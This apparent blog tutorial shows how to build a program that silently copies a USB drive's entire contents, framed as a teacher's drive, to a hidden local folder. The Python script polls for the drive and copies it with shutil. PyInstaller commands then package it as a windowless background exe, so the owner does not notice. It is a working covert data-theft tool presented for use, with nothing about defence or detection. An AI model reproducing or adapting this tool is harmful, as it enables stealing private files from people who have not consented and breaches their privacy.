Copy USB Drive Contents with Python and Package as an Executable

When the author was a university student, they imagined a program that could silently copy a teacher's USB drive and finally implemented it with just a few lines of Python code. The solution consists of two steps: writing the Python script and converting the .py file into an .exe that can run in the background on Windows.

Python script

# -*- coding:utf-8 -*-
import os
import time
from datetime import datetime
import shutil

# USB drive letter
usb_path = "E:/"
# Destination folder
save_path = "D:/haha"

while True:
    if os.path.exists(usb_path):
        shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
        break
    else:
        time.sleep(10)

The script checks whether the specified USB drive (e.g., E:/ ) exists; if it does, it copies the entire drive to a timestamped folder under the destination path and then stops. If the drive is not present, the script sleeps for 10 seconds before checking again.

Packaging the Python file into an exe

1. Install PyInstaller via pip:

pip install pyinstaller

2. Install the required Windows extension pywin32 that matches your Python version and architecture (e.g., pywin32-223.win32-py3.6.exe for 32‑bit Python 3.6 or pywin32-223.win-amd64-py3.6.exe for 64‑bit).

3. Run PyInstaller with the desired options. The basic command is:

pyinstaller [opts] yourprogram.py

Common options include:

-F Create a single executable file.

-D Create a directory with the executable and its dependencies (default).

-c Console mode (default).

-w Windowed mode (no console).

-p Add a search path for additional libraries.

-i Specify an icon for the generated executable.

Example commands:

pyinstaller -F D:\project\test.py

Creates a single exe file.

pyinstaller -F -w D:\project\test.py

Creates a windowless executable.

pyinstaller -F -w -i D:\project\test.ico D:\project\test.py

Creates a windowless executable with a custom icon.

Running the program

After building, double‑click the generated exe. It runs silently in the background (visible only in the task manager). When a USB drive is inserted, the program automatically copies its contents to the predefined location and then exits.